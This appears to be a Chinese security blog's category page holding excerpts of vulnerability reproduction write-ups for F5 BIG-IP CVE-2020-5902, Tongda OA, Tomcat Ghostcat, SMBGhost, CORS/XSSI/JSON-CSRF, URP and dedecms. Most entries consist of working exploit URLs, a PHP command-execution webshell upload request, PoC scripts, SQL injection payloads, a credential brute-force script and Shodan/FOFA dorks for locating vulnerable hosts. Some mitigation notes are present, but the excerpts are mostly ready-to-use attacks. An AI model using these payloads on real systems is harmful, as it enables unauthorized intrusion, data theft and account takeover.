Classification:Penetration

Classification (Penetration)'s result:

F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点

//本文首发先知社区:https://xz.aliyun.com/t/8007 0x00 概述 20200706,网上曝出F5 BIG-IP TMUI RCE漏洞。 F5 BIG-IP的TMUI组件(流量管理用户界面)存在认证绕过漏洞,该漏洞在于Tomcat解析的URL与request.getPathInfo()存在差异,导致可绕过权限验证,未授权访问TMUI模块所有功能,进而可以读取/写入任意文件,命令执行等。   0x01 影响范围 BIG-IP 15.x: 15.1.0/15.0.0 BIG-IP 14.x: 14.1.0 ~ 14.1.2 BIG-IP 13.x: 13.1.0 ~ 13.1.3 BIG-IP 12.x: 12.1.0 ~ 12.1.5 BIG-IP 11.x: 11.6.1 ~ 11.6.5 搜索关键词: shodan http.favicon.hash:-335242539 http.title:”BIG-IP&reg;- Redirect” fofa title=”BIG-IP&reg;- Redirect” tmui censys 443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5 443.https.get.title:”BIG-IP&reg;- Redirect” google inurl:”tmui/login.jsp” intitle:”BIG-IP” inurl:”tmu   0x02 漏洞重现 TMUI网站目录:/usr/local/www/tmui/ TMUI web server:Tomcat 0. 使用POC检测 https://1.2.3.4/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=test5902 https://1.2.3.4/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp 1. 任意文件读取 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 2. 任意文件写入 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp         3. 列认证用户 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user   4. 列目录 https://1.2.3.4/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ 据David Vieira-Kurz(@secalert)说/tmp/下的sess_xxxxxxxxx文件可以替换cookie登录,但是试了几个都失败,可能是过期了……   5. RCE 1)tmshCmd.jsp?command=create+cli+alias+private+list+command+bash 2)fileSave.jsp?fileName=/tmp/cmd&content=id 3)tmshCmd.jsp?command=list+/tmp/cmd 4)tmshCmd.jsp?command=delete+cli+alias+private+list 多发送几次就能rce,基本都是root 记得还原   0x03 有缺陷的缓解方案1 1) 登录TMOS Shell(tmsh): tmsh 2) 编辑httpd组件配置文件 edit /sys httpd all-properties 3) 添加include代码 include ‘ <LocationMatch “.*\.\.;.*”> Redirect 404 / </LocationMatch> ‘ 4) 保存配置文件 ESC 并:wq 5) 保存系统配置 save /sys config 6) 重启httpd服务 restart sys service httpd   0x04 缓解方案绕过1 有缺陷的缓解方案正则限制了..; 但是/hsqldb这个接口加上;(分号)就可以绕过登录认证,进而反序列化,导致RCE 接着利用工具进行反序列化rce https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 挺鸡肋的,需要知道hsqldb密码,默认空 试过了几个都是socket creation error……   0x05 有缺陷的缓解方案2 include ‘ <LocationMatch “;”> Redirect 404 / </LocationMatch> ‘   0x06 缓解方案绕过2 虽然直接限制分号,但是可以用/hsqldb%0a绕过认证   0x07 防御方案 Command line tmsh edit /sys httpd all-properties Locate the line……

通达(tongda)OA文件上传和文件包含漏洞重现及分析

0x00 概述 20200317,网上爆出通达oa被利用0day中勒索病毒的消息,官方已出漏洞补丁。 该0day为利用文件上传和文件包含组合利用进行RCE,无须认证。   0x01 影响范围 2013,2013增强版,2015,2016,2017,v11 //补丁只看见v11(2020)有geteway.php(文件包含漏洞)补丁   0x02 漏洞重现 利用v11版本: 文件包含漏洞 http://localhost/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log   文件上传漏洞 上传文件路径在非webroot目录,如: “D:\MYOA\attach\im\2003\ddd.test.jpg” 请求数据包: POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.20.0 Content-Length: 633 Content-Type: multipart/form-data; boundary=ee65cd98fdbee896acd30a7b2552b6b5 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”P” x –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”UPLOAD_MODE” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”DEST_UID” 1 –ee65cd98fdbee896acd30a7b2552b6b5 Content-Disposition: form-data; name=”ATTACHMENT”; filename=”test07.jpg” Content-Type: image/jpeg <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> –ee65cd98fdbee896acd30a7b2552b6b5– 再利用文件包含执行php代码 json=%7B%22url%22%3A%22%2Fgeneral%2F..%2F..%2Fattach%2Fim%2F2003%2F1941158481.test07.jpg%22%7D&cmd=whoami 或者这样包含也行 http://127.0.0.1/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2003/1044529275.test09.jpg //实测无法直接执行phpinfo(); 利用windows的com组件绕过disable_function() <?php $command=$_POST[‘cmd’]; $wsh = new COM(‘WScript.shell’); $exec = $wsh->exec(“cmd /c “.$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>   0x03 修复方案 打补丁   0x04 漏洞分析 PHP Zend 5.4解密php文件即可 文件上传漏洞分析 upload.php:5 $P = $_POST[‘P’]; if (isset($P) || $P != ”) { ob_start(); include_once ‘inc/session.php’; session_id($P); session_start(); session_write_close(); } else { include_once ‘./auth.php’; } 要有P参数否则会经过auth.php登录验证,不为空即可。 $DEST_UID = $_POST[‘DEST_UID’]; $dataBack = array(); if ($DEST_UID != ” && !td_verify_ids($ids)) { $dataBack = array(‘status’ => 0, ‘content’ => ‘-ERR ‘ . _(‘½ÓÊÕ·½IDÎÞЧ’)); echo json_encode(data2utf8($dataBack)); exit;……

Tomcat AJP 文件读取/包含漏洞(CVE-2020-1938 )重现及分析

0x00 概述 202002,网上曝出tomcat ajp的文件读取/包含漏洞。 Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。 —https://www.chaitin.cn/zh/ghostcat   0x01 影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 0x02 漏洞重现 1】 xray   去掉.100的注释,攻击也失败。   2】 Python版 https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 文件读取 文件包含 //修改源码,加上jsp后缀即可文件包含 #!/usr/bin/env python #CNVD-2020-10487 Tomcat-Ajp lfi #by ydhcui import struct   # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(“>h”, -1) l = len(s) return struct.pack(“>H%dsb” % l, l, s.encode(‘utf8’), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, “>h”) if size == -1: # null string return None res, = unpack(stream, “%ds” % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) ==……

smbghost(CVE-2020-0796)漏洞POC汇总及简单分析

//首发先知社区:https://xz.aliyun.com/t/7440   0x00 概述 20200310,microsoft透露了一个smb v3协议漏洞。 20200312,microsoft出补丁。 漏洞命名:smbghost/deepblue…… Microsoft Server Message Block 3.1.1(SMBv3)协议处理某些请求的方式中存在远程执行代码漏洞,可以在目标smb服务器或客户端上执行代码。 为了利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标SMBv3服务器;若要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的SMBv3服务器,并诱使用户连接到该服务器。   0x01 影响范围 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 (Server Core installation) Windows 10 Version 1909 for 32-bit Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server, Version 1909 (Server Core installation) 只影响 SMB v3.1.1,1903和1909   0x02 漏洞检测 //至发文(20200322)暂未发现公开EXP。 环境win10x64-1903专业版,关闭防火墙,关闭自动更新! python版 https://github.com/ollypwn/SMBGhost It checks for SMB dialect 3.1.1 and compression capability through a negotiate request. —README.md socket发送数据包 pkt = b’\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02″\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00′ 返回判断 if res[68:70] != b”\x11\x03″ or res[70:72] != b”\x02\x00″: print(f”{ip} Not vulnerable.”) else: print(f”{ip} Vulnerable”) 然而打上补丁修补后: 所以打上补丁后该脚本也会返回vulnerable导致误报。 python版带数据结构输出 https://github.com/ioncodes/SMBGhost 此脚本判断是否已启用SMBv3.1.1和SMB压缩,同1)也会误报 pip3 install hexdump 同样也是判断这两个位置 version = struct.unpack(“H”, response[68:70])[0] context = struct.unpack(“H”, response[70:72])[0] if version != 0x0311: print(f”SMB version {hex(version)} was found which is not vulnerable!”) elif context != 2: print(f”Server answered with context {hex(context)} which indicates that the target may not have SMB compression enabled and is therefore……

XSSI/JSONP/flash/CORS跨域漏洞总结

0x00 同源策略(SOP)和跨域 SOP: URL Result Reason http://store.company.com/dir2/other.html Success – http://store.company.com/dir/inner/another.html Success – https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host <script>允许跨域加载资源 所有带src或href属性的标签以及部分其他标签可以跨域: <script src=”…”></script> <img src=”…”> <video src=”…”></video> <audio src=”…”></audio> <embed src=”…”> <frame src=”…”> <iframe src=”…”></iframe> <link rel=”stylesheet” href=”…”> <applet code=”…”></applet> <object data=”…” ></object> @font-face可以引入跨域字体。 <style type=”text/css”> @font-face { src: url(“http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf”); } </style> SOP和CORS,都是浏览器阻止了响应,而非拦截请求。   0x01 XSSI Cross-Site Scrite Inclusion 传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。 0. 静态的JavaScript(常规XSSI) <html> <head> <title>Regular XSSI</title> <script src=”https://www.vulnerable-domain.tld/script.js”></script> </head> <body> <script> alert(JSON.stringify(keys[0])); </script> </body> </html> //直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js 1. 动态JavaScript 利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取 (function(){ var token = getToken(); doSomeThing(token); })(); function getToken(){ len = 16 || 32; var $chars = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678’; var maxPos = $chars.length; var pwd = ”; for (i = 0; i < len; i++) { pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); } return pwd; } 重写doSomeThing() <!–恶意页面–> <html> <head> <title>XSSI Attack</title> <script type=”text/javascript”> window.data = ”; function doSomeThing(d){ window.data = d; } </script> </head> <body> <h2>XSSI Attack</h2> <p id=”leaked_content”></p> <script type=”text/javascript” src=”http://192.168.10.130:81/secret.js”></script> <script type=”text/javascript” src=”jquery-3.3.1″></script> <script type=”text/javascript”> $(‘#leaked_content’).text(window.data); </script> </body> </html> 更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/ 2. 非JavaScript ie bug(<10): 为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。……

CORS进阶利用

//结合网络资料整理了CORS的进阶利用方式,基础利用参考浅谈sop、cors和csp   SOP可以发请求,但是浏览器会阻止响应 当”Access-Control-Allow-Origin“是动态产生,要用”Vary: Origin“指定。 这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值而变化。   1. ACAO为* Access-Control-Allow-Origin:* 注意Access-Control-Allow-Credentials:true和Access-Control-Allow-Origin:*不能同时使用!!! 这样配置浏览器将会报错 直接利用即可   2. ACAO为requester.com 后端代码例子: if ($_SERVER[‘HTTP_HOST’] == ‘*requester.com’) { //Access data else{ // unauthorized access} } 申请一个以requester.com结尾的域名放poc即可 or ^https?:\/\/.*\.?target\.local$ Origin: https://nottarget.local or Origin: https://target.local.attacker.domain   3. 白名单域名 if ($_SERVER[‘HTTP_HOST’] == ‘*.requester.com’) { //Access data else{ // unauthorized access} } 利用sub.requester.com的xss(或者子域名接管漏洞)漏洞攻击provider.com 案例: https://banques.redacted.com/choice-quiz?form_banque=”><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById(“demo”).innerHTML=this.responseText}};xhttp.open(“GET”,”https://www.redacted.com/api/return”,true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1   4. 反射origin add_header “Access-Control-Allow-Origin” $http_origin; add_header “Access-Control-Allow-Credentials” “true”;   5. 信任null Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true <iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,<script>**CORS request here**</script>’></iframe>   5. 特殊字符 浏览器在发出请求之前并不总是验证域名。 因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。   特殊字符 Chrome(v 67.0.3396) Edge(v 41.16299.371) Firefox(v 61.0.1) Internet Explorer(v 11) Safari(v 11.1.1) ! NO NO NO NO YES = NO NO NO NO YES $ NO NO YES NO YES & NO NO NO NO YES ‘ NO NO NO NO YES ( NO NO NO NO YES ) NO NO NO NO YES * NO NO NO NO YES + NO NO YES NO YES , NO NO NO NO YES – YES NO YES YES YES ; NO NO NO NO YES = NO NO NO……

JSON型CSRF攻击方法

原始请求,存在CSRF漏洞 如果后端只是检查格式不检查header,可尝试 <html> <body> <script src=”jquery.min.js”></script> <form id=”myform” enctype=”text/plain” action=”https://xxx.com/apps/member/up_member_info” method=”POST”> <input id=”json” type=”hidden” name=’json’ value=’changenick”}’> </form> <script> $(document).ready(function() { $(“#json”).attr(“name”,'{“name”:”‘); $(“#myform”).submit(); }); </script> </body> </html> 增加ignore_me参数可去掉多出的等号: <form action=”https://xxxx.com/apps/member/up_member_info” method=”post” enctype=”text/plain”> <p>Last name: <input type=”text” name='{“name”:”changenick6″,”ignore_me”:”‘ value=’test”}’type=’hidden’></p> <input type=”submit” value=”Submit” /> </form> 或者把value置空: <html> <body> <script src=”jquery.min.js”></script> <form id=”myform” enctype=”text/plain” action=”https://xxx.com/apps/member/up_member_info” method=”POST”> <input id=”json” type=”hidden” name=’json’ value=”> </form> <script> $(document).ready(function() { $(“#json”).attr(“name”,'{“name”:”changenick”}’); $(“#myform”).submit(); }); </script> </body> </html> 利用fetch发请求: <html> <title>JSON CSRF POC</title> <body> <center> <h1> JSON CSRF POC </h1> <script> fetch(‘https://xxx.com/apps/member/up_member_info’;, {method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“username”:”test0001″}’}); </script> <form action=”#”> <input type=”button” value=”Submit” /> </form> </center> </body> </html>   利用xmlhttprequest发请求,要配合跨域漏洞 <html> <script language=”javascript” type=”text/javascript”> function jsonreq() { var xmlhttp = new XMLHttpRequest(); xmlhttp.open(“POST”,”https://xxx.com/apps/member/up_member_info”,true); xmlhttp.setRequestHeader(“Content-Type”,”application/json;charset=UTF-8″); xmlhttp.withCredentials = true xmlhttp.send(JSON.stringify({“name”:”changenick02″}));; } jsonreq(); </script> </html>       如果后端检查了header,尝试flash+307 Flash可以携带请求头和请求参数向重定向器(307)发出请求。 重定向器向目标页面发出CSRF攻击请求(携带请求头和请求参数,X-Requested-With:flash)。 Flash再向目标站请求crossdomain.xml,但是此前攻击请求已发出。 准备道具: 服务器,恶意flash文件,307页面文件,crossdomain.xml(可选) crossdomain.xml: <cross-domain-policy> <allow-access-from domain=”*” secure=”false”/> <allow-http-request-headers-from domain=”*” headers=”*” secure=”false”/> </cross-domain-policy> 用来允许flash向攻击者服务器请求307页面。 //如果flash文件和307页面在同一个域名下,就不需要crossdomain文件 重定向307的PHP文件: <?php // redirect automatically header(“Location: https://victim.com/user/endpoint/”;, true, 307); ?>   实战案例: 环境:win7+Chrome79.0.3945.79+flash32.0.0.303 没有csrf防御,但是为json格式 先利用普通的form响应500,表明后端可能检验了content-type头。 尝试使用xhr 发option预检请求 意料之内无法通过(除非有xss配合,xsrf!)   构造钓鱼页面(利用embed加载flash): <html> <head></head> <body> <embed height=”600″……

突破前端加密方法总结

0x00 执行加密的js文件写脚本生成加密字典 如 https://yyy.xxx.com/assets/des/des.js 对密码(123456)进行了前端加密传输。 这里还需要从页面源代码找到加密方法的参数 pip install PyExecJS 再安装PhantomJS(可选),或者用默认的js解析引擎也行。(execjs.get().name) 加密脚本:生成加密后的用户名和密码 #coding:utf-8 #from selenium import webdriver import execjs def mzDes(s,para): despara = execjs.get(‘phantomjs’).compile(s).call(“strEnc”,para,”csc”,”mz”,”2017″) return despara with open(‘des.js’,’r’) as mzCrypto: s = mzCrypto.read() with open(‘users.txt’,’r’) as users: #des username     with open(‘des_users.txt’,’w’) as f4DesUser:     user = users.readlines()     for u in user:     uname = u.strip()     print uname desUsername = mzDes(s,uname) print desUsername     f4DesUser.write(desUsername+’\n’) with open(‘pwdTop54.txt’,’r’) as pwds: #des password     with open(‘des_pwds.txt’,’w’) as f4DesPwd:     pwd = pwds.readlines()     for p in pwd:     passwd = p.strip()     print passwd     desPassword = mzDes(s,passwd)     print desPassword     f4DesPwd.write(desPassword+’\n’) 这样就可以利用burpsuite/python脚本加载加密后的字典愉快的爆破啦。 py脚本爆破(单线程): #coding:utf-8 #from selenium import webdriver import execjs import requests import re successCount = 0 def mzDes(s,para): despara = execjs.get().compile(s).call(“strEnc”,para,”csc”,”mz”,”2017″) return despara with open(‘des.js’,’r’) as mzCrypto: s = mzCrypto.read() with open(‘users.txt’,’r’) as users: #des username user = users.readlines() for u in user: with open(‘top50.txt’,’r’) as pwds: #des password     uname = u.strip()……

URP教务系统历史漏洞集合

主要参考wooyun 账号密码构成 教师 21071 21071 21072 21072   学生 2016517109 2016517109 2016046126 201604612 账号和密码相同,或密码身份证后6位或123456   1. SQL注入 <html> <form action=”http://xxx.edu.cn/servlet/com.runqian.report.input.UploadFile2DBServlet” method=”post” enctype=”multipart/form-data”> <label for=”file”>Filename:</label> <input type=”file” name=”file” id=”file” /> cachedId:<input type=”text” name=”update” value=”tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1″> srcType:<input type=”text” name=”xh” value=”test”> <input type=”text” name=”processor” value=”com.runqian.report.input.AbstractProcessor”> <input type=”text” name=”backAndRefresh” value=”test”> <input type=”text” name=”webTableName” value=”test11″> <input type=”text” name=”importTo” value=”text”> <input type=”text” name=”params” value=”params”> <br /> <input type=”submit” name=”submit” value=”Submit” /> </form> </html> 随便上传一个文件,上传时抓包 update填tbl=dual;keyValue=2;keyCol=1;updateValue=1;updateCol=1 此时是因为keyCol=1,1这个列索引不存在 此处直接在tbl处注入,把后面的东西注释掉就好了 因为开启了oracle报错。 那就简单了。 报错注入下 以爆数据库名为例 update内容为 tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select user from sys.dual)||’” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1; 然后注入出一条数据为例 udpate内容为 tbl=dual/**/where/**/1=to_char(dbms_xmlgen.getxml(‘select “‘||(select xh||’#’||xm||’#’||xb from xs_xjb where rownum=1)||’” from sys.dual’))–;keyValue=1;keyCol=1;updateValue=1;updateCol=1;   2. 越权 1) 需登录 http://ip/jmglAction.do?oper=xsmdcx http://ip/gradeLnAllAction.do?type=ln&oper=qb&cjbh=学号   2) /cmenu/menu.jsp   访问后 reportIndex.jsp /index/tree.jsp /reportIndex.jsp 越权获取信息   3) 登录 fileUploadDownloadAction.do?actionType=1 越权删除他人文件改id 文件名xss   4) 登录 reportAction.do   5) 登录 /reportFiles/cj/cj_zwcjd.jsp   3. 任意文件上传 <form action=”http://x.x.x.x/lwUpLoad_action.jsp” method=”post” enctype=”multipart/form-data” > <input type=”file” name=”theFile” id=”File”/> <input type=”text” name=”xh” id=”context”/> <input type=”submit” value=”show me the shell” > </form>   4. 任意文件读取 com.runqian.report.view.html.GraphServlet?picFile=../../../../../../../../conf/resin.conf http://x.x.x.x/servlet/com.runqian.base.util.ReadJavaScriptServlet?file=../../../../../../../../conf/resin.conf

dedecms rce cve-2018-20129漏洞重现

一个鸡肋的老洞,具体分析见: https://www.anquanke.com/post/id/168458 https://xz.aliyun.com/t/1976 https://www.jianshu.com/p/b0eb694be4ac   大概原理: 管理员登录,会员功能开启,利用编辑器上传图片过滤不严,正则替换%,*,?等字符为空,可被利用绕过过滤(如zxc.jpg.p%hp,zxc.jpg?ph%p,zxc.jpg.p?hp) //据说要用构造图片马避免渲染失效,但是本人当时好像直接传常规图片马即可……   漏洞文件: select_images_post.php 关键代码: <?php /** * 图片选择 * * @version $Id: select_images_post.php 1 9:43 2010年7月8日Z tianya $ * @package DedeCMS.Dialog * @copyright Copyright (c) 2007 – 2010, DesDev, Inc. * @license http://help.dedecms.com/usersguide/license.html * @link http://www.dedecms.com */ require_once(dirname(__FILE__).”/config.php”); require_once(dirname(__FILE__).”/../image.func.php”); if(empty($activepath)) { $activepath =”; $activepath = str_replace(‘.’, ”, $activepath); $activepath = preg_replace(“#\/{1,}#”, ‘/’, $activepath); if(strlen($activepath) < strlen($cfg_image_dir)) { $activepath = $cfg_image_dir; } } if(empty($imgfile)) { $imgfile=”; } if(!is_uploaded_file($imgfile)) { ShowMsg(“你没有选择上传的文件!”.$imgfile, “-1”); exit(); } $CKEditorFuncNum = (isset($CKEditorFuncNum))? $CKEditorFuncNum : 1; $imgfile_name = trim(preg_replace(“#[ \r\n\t\*\%\\\/\?><\|\”:]{1,}#”, ”, $imgfile_name)); if(!preg_match(“#\.(“.$cfg_imgtype.”)#i”, $imgfile_name)) { ShowMsg(“你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!”, “-1”); exit(); } $nowtme = time(); $sparr = Array(“image/pjpeg”, “image/jpeg”, “image/gif”, “image/png”, “image/xpng”, “image/wbmp”); $imgfile_type = strtolower(trim($imgfile_type)); if(!in_array($imgfile_type, $sparr)) { ShowMsg(“上传的图片格式错误,请使用JPEG、GIF、PNG、WBMP格式的其中一种!”,”-1″); exit(); } $mdir = MyDate($cfg_addon_savetype, $nowtme); if(!is_dir($cfg_basedir.$activepath.”/$mdir”)) { MkdirAll($cfg_basedir.$activepath.”/$mdir”,$cfg_dir_purview); CloseFtp(); } $filename_name = $cuserLogin->getUserID().’-‘.dd2char(MyDate(“ymdHis”, $nowtme).mt_rand(100,999)); $filename = $mdir.’/’.$filename_name; $fs = explode(‘.’, $imgfile_name); $filename = $filename.’.’.$fs[count($fs)-1]; $filename_name = $filename_name.’.’.$fs[count($fs)-1]; $fullfilename = $cfg_basedir.$activepath.”/”.$filename; move_uploaded_file($imgfile, $fullfilename) or die(“上传文件到 $fullfilename 失败!”); if($cfg_remote_site==’Y’ && $remoteuploads == 1) { //分析远程文件路径 $remotefile = str_replace(DEDEROOT, ”, $fullfilename); $localfile = ‘../..’.$remotefile; //创建远程文件夹……